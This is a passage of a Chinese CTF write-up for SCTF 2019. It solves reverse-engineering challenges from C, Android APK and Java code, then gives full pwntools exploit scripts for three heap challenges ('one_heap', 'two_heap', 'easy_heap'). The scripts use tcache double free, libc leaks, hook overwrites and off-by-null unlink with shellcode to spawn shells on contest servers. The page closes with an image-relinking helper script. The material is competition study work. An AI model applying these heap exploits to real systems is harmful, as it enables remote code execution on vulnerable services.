unsigned int foo(unsigned int a1, unsigned int a2, unsigned int a3, unsigned int a4)
{
    return a1 ^ foo2(a2^a3^a4);
}

int main()
{
    unsigned int tmp[30] = {0};
    unsigned int cipher[4] = {0xBE040680, 0xC5AF7647, 0x9FCC401F, 0xD8BF92EF};
    memcpy(tmp+26,cipher,16);

    for(int i = 25;i>=0;i--)
        tmp[i] = foo(tmp[i+4],tmp[i+1],tmp[i+2],tmp[i+3]);
    tmp[4] = 0;
    printf("%sn",(char *)tmp);
    return 0;
}
fl4g_is_s0_ug1y!

得到flag

sctf{ddwwxxssxaxwwaasasyywwdd-c2N0Zl85MTAy(fl4g_is_s0_ug1y!)}

strange apk

前12个chr

            localObject2 = new StringBuilder();
            ((StringBuilder)localObject2).append(paramAnonymousView);
            ((StringBuilder)localObject2).append(str.charAt(i));
            paramAnonymousView = ((StringBuilder)localObject2).toString();
            i++;

if (((String)localObject2).equals("c2N0ZntXM2xjMG1l"))

>>> base64.b64decode("c2N0ZntXM2xjMG1l")
'sctf{W3lc0me'

有个data加密后的,直接虚拟机打开存着解密后的apk,拖下来直接分析。

后18个chr:

这里先用intent启动了其他class:

            localObject1 = new Intent();
            ((Intent)localObject1).putExtra("data_return", paramAnonymousView);
            s.this.setResult(-1, (Intent)localObject1);
            s.this.finish();

最后一段关键比较:

if (f.encode(paramIntent.getStringExtra("data_return"), (String)localObject1).equals("~8t808_8A8n848r808i8d8-8w808r8l8d8}8"))

这里生成MD5:

 try
      {
        Object localObject2 = MessageDigest.getInstance("MD5");
        ((MessageDigest)localObject2).update("syclover".getBytes());
        BigInteger localBigInteger = new java/math/BigInteger;
        localBigInteger.<init>(1, ((MessageDigest)localObject2).digest());
        localObject2 = localBigInteger.toString(16);
        localObject1 = localObject2;
      }
      catch (Exception localException)
      {
        localException.printStackTrace();
      }

照着写了个函数:

  public static void genMd5(){
    String plaintext = "syclover";
    try{
      MessageDigest m = MessageDigest.getInstance("MD5");
      m.reset();
      m.update(plaintext.getBytes());
      byte[] digest = m.digest();
      BigInteger bigInt = new BigInteger(1,digest);
      String hashtext = bigInt.toString(16);
      System.out.print(hashtext);
    }
    catch (Exception localException)
    {
      localException.printStackTrace();
    }
  }

得到8bfc8af07bca146c937f283b8ec768d4

那个关键比较有个encode函数:

public static String encode(String paramString1, String paramString2)
  {
    int i = paramString1.length();
    int j = paramString2.length();
    StringBuilder localStringBuilder = new StringBuilder();
    for (int k = 0; k < i; k++)
    {
      localStringBuilder.append(paramString1.charAt(k));
      localStringBuilder.append(paramString2.charAt(k / j));
    }
    return localStringBuilder.toString();
  }

出题人好像把取整跟取余搞混了。应该是k % j

这样的话,直接在flag里插入8得到字符串:~8t808_8A8n848r808i8d8-8w808r8l8d8}8

所以后半段flag:~t0_An4r0id-w0rld}

所以整个flag: sctf{W3lc0me~t0_An4r0id-w0rld}

music

image

cipher =
C28BC39DC3A6C283C2B3C39DC293C289C2B8C3BAC29EC3A0C3A7C29A1654C3AF28C3A1C2B1215B53

len(cipher) = 80

用jeb打开,能最终定位到一个关键函数,这个函数输入两个参数

第一个是flag,第二个是hellodsctf字符串的md5,输出为cipher。

直接爆破每一位

import java.lang.String;

public class Main {
   public static void main(String[] args) {
       c a = new c();
       String flag = "sctf{";
       String printable = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&()*+,-.:;<=>?@[]^_{|}~";
       String ss = "C28BC39DC3A6C283C2B3C39DC293C289C2B8C3BAC29EC3A0C3A7C29A1654C3AF28C3A1C2B1215B53";
       for(int j=0;j<100;j++)
       {
           for(int i=0;i<printable.length();i++)
           {
               String now=  flag + printable.charAt(i);
               //System.out.println(now);
               String d = a.a(now,"E7E64BF658BAB14A25C9D67A054CEBE5");
               if(ss.indexOf(d) == 0)
               {
                   System.out.println("flag: " + now);
                   flag = now;
               }
           }
           //break;
       }
   }
}

image.png

 

Pwn

one_heap

存在double free的漏洞,利用heap的地址爆破proc的偏移实现house of three leak,

然后常规的tache attack就行。爆破几率在1/4096估计跑一下午就能出来。。


from pwn import*
context.log_level = "debug"
p = process("./one_heap")
a = ELF("./libc-2.27.so")
#p = remote("47.104.89.129",10001)
gdb.attach(p)
def new(size,content):
    p.recvuntil("Your choice:")
    p.sendline("1")
    p.recvuntil("Input the size:")
    p.sendline(str(size))
    p.recvuntil("Input the content:")
    p.sendline(content)
def remove():
    p.recvuntil("Your choice:")
    p.sendline("2")
def new0(size,content):
    p.recvuntil("Your choice:")
    p.sendline("1")
    p.recvuntil("Input the size:")
    p.sendline(str(size))
    p.recvuntil("Input the content:")
    p.send(content)
new(0x60,"aaa")
remove()
remove()
new(0x60,"x20x60")
new(0x60,"b")
raw_input()
new(0x60,"x60x07")
pay = p64(0xfbad1880) + p64(0)*3 + "x00"
new(0x60,pay)
libc_addr = u64(p.recvuntil("x7f")[8:8+6].ljust(8,"x00"))-0x3ed8b0
print hex(libc_addr)
malloc_hook = a.symbols["__malloc_hook"]+libc_addr
relloc_hook = a.symbols["__realloc_hook"]+libc_addr
print hex(malloc_hook)
one = 0x4f2c5+libc_addr

print one
new(0x50,"a")
remove()
remove()
new(0x50,p64(relloc_hook))
new(0x50,"peanuts")
new(0x50,p64(one)+p64(libc_addr+a.sym['realloc']+0xe))
print hex(one)
new(0x30,"b")
p.interactive()

two_heap

漏洞点和one heap一样,同样是有tache的版本,

先绕过size的检查利用0x0,0x8,0x10,0x18进行绕过,

然后利用printf_chk可以用a来leak的特性算出libc

然后就可以attack free_hook然后通过free("/bin/sh") getshell。

from pwn import*
context.log_level = "debug"
#p = process("./two_heap",env={"LD_PRELOAD":"./libc-2.26.so"})
a = ELF("./libc-2.26.so")
p = remote("47.104.89.129",10002)
#gdb.attach(p)#,"b *0x5555555554a0")
def new(size,content):
    p.recvuntil("Your choice:")
    p.sendline("1")
    p.recvuntil("Input the size:")
    p.sendline(str(size))
    p.recvuntil("Input the note:")
    p.sendline(content)
def remove(idx):
    p.recvuntil("Your choice:")
    p.sendline("2")
    p.recvuntil("Input the index:")
    p.sendline(str(idx))
def new0(size,content):
    p.recvuntil("Your choice:")
    p.sendline("1")
    p.recvuntil("Input the size:")
    p.sendline(str(size))
    p.recvuntil("Input the note:")
    p.send(content)
p.recvuntil("Welcome to SCTF:")
p.sendline("%a"*5)
p.recvuntil("0x0p+00x0p+00x0.0")
lib_addr = int(p.recvuntil("p-10220x",drop=True)+"0",16) - a.symbols["_IO_2_1_stdout_"]
free_hook = a.symbols["__free_hook"]+lib_addr
system = lib_addr+a.symbols["system"]
print hex(lib_addr)
new0(0x1," ")
remove(0)
remove(0)
raw_input()
new0(0x8,p64(free_hook))
new0(0x10,"n")


new(24,p64(system))
new(0x60,"/bin/shx00")
remove(4)

p.interactive()

easy_heap

漏洞点在off by null,可以利用unlink控制全局变量改mmap内存为shellcode,

接着利用控制的区域构造一个fake chunk

然后free使得它进入unsortedbin,利用控制覆盖低位,指向malloc_hook,

然后再edit改为mmap的地址就可以getshell了。

from pwn import*
context.arch = "amd64"
context.log_level = "debug"
#p = process("./easy_heap")#,env={"LD_PRELOAD":"./libc.so.6"})
a = ELF("./easy_heap")
e = a.libc
print hex(e.symbols["puts"])
p = remote("132.232.100.67",10004)
#gdb.attach(p)#,"b *0x5555555554a0")
def add(size):
    p.recvuntil(">> ")
    p.sendline("1")
    p.recvuntil("Size: ")
    p.sendline(str(size))
def remove(idx):
    p.recvuntil(">> ")
    p.sendline("2")
    p.recvuntil("Index: ")
    p.sendline(str(idx))
def edit(idx,content):
    p.recvuntil(">> ")
    p.sendline("3")
    p.recvuntil("Index: ")
    p.sendline(str(idx))
    p.recvuntil("Content: ")
    p.sendline(content)
p.recvuntil("Mmap: ")
mmap_addr = int(p.recvuntil("n",drop=True),16)
print hex(mmap_addr)
add(0xf8)
p.recvuntil("Address 0x")
addr = int(p.recvline().strip(),16) - 0x202068
add(0xf8)
add(0x20)
edit(0,p64(0)+p64(0xf1)+p64(addr+0x202068-0x18)+p64(addr+0x202068-0x10)+"a"*0xd0+p64(0xf0))
remove(1)
edit(0,p64(0)*2+p64(0xf8)+p64(addr+0x202078)+p64(0x140)+p64(mmap_addr))
edit(1,asm(shellcraft.sh()))
bss_addr = 0x202040
edit(0,p64(addr+0x202090)+p64(0x20)+p64(0x91)+p64(0)*17+p64(0x21)*5)
remove(1)
edit(0,p64(0)*3+p64(0x100)+'x10')
edit(3,p64(mmap_addr))
add(0x20)
p.interactive()

 

彩蛋

闲着无聊,写了个将md中的图片外链转为安全客图片链接的脚本:

请自行替换安全客登陆后的Cookie

#!coding:utf-8
import sys
import re
import requests
import base64
import json
reload(sys)
sys.setdefaultencoding('utf8')
requests.packages.urllib3.disable_warnings()

Cookie = 'PHPSESSID=xxxx; UM_distinctid=xxxx; wordpress_logged_in_de14bfc29164540b0259654d85d7b021=xxxxx'

def open_file():
    file_name = sys.argv[1]
    f = open(file_name,'r')
    content = f.read()
    f.close()
    return content

def write_file(new_content):
    f = open('new_content.md','w')
    f.write(new_content)
    f.close()

def get_img_link():
    link_list = []
    file_name = sys.argv[1]
    for line in open(file_name):
        line = line.strip()
        img_link = ''
        if '![' in line and '](http' in line:
            is_link = re.compile(r'[(](.*?)[)]', re.S)
            img_link = re.findall(is_link, line)[0]
            link_list.append(img_link)
    return link_list

def get_img_base64(link):
    r = requests.get(link,verify=False)
    content = r.content
    img_b64 = base64.b64encode(content)
    return r.status_code,img_b64

def get_anquanke_link(img_base64):
    url = 'https://api.anquanke.com/data/v1/file/pic'
    headers = {
        'Origin': 'https://www.anquanke.com',
        'Referer': 'https://www.anquanke.com/contribute/new',
        'Content-Type': 'application/json;charset=UTF-8',
        'Cookie': Cookie

    }
    data = {
        'image':img_base64
    }
    r = requests.post(url=url,headers=headers,data=json.dumps(data),verify=False)
    result = r.text
    # print r.text
    anquanke_link = json.loads(result)['url']
    return r.status_code,anquanke_link

def change_paper_link():
    content = open_file()
    link_list = get_img_link()
    for link in link_list:
        print 'change link: ' + link
        status_code,img_b64 = get_img_base64(link)
        if status_code == 200:
            print 'get img_base64 success'
            status_code,anquanke_link = get_anquanke_link(img_b64)
            if status_code == 200:
                print 'get anquanke_link success: ' + anquanke_link
                content = content.replace(link,anquanke_link)
            else:
                print 'get anquanke_link fail: ' + anquanke_link
        else:
            print 'get img_base64 fail'
    return content

def main():
    new_content = change_paper_link()
    write_file(new_content)
    print 'get your new paper: new_content.md'

main()

运行输出

>>> python .change_paper_link.py SCTF2019-Writeup-De1ta.md

change link: https://upload-images.jianshu.io/upload_images/7373593-2975fcf7003b7d74.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240
get img_base64 success
get anquanke_link success: https://p0.ssl.qhimg.com/t01382fc4f593a308ce.png
------------------------
change link: https://upload-images.jianshu.io/upload_images/7373593-ef36939bde16bbb0.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240
get img_base64 success
get anquanke_link success: https://p0.ssl.qhimg.com/t01f32c3e4f38589eb6.png
------------------------
get your new paper: new_content.md
分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多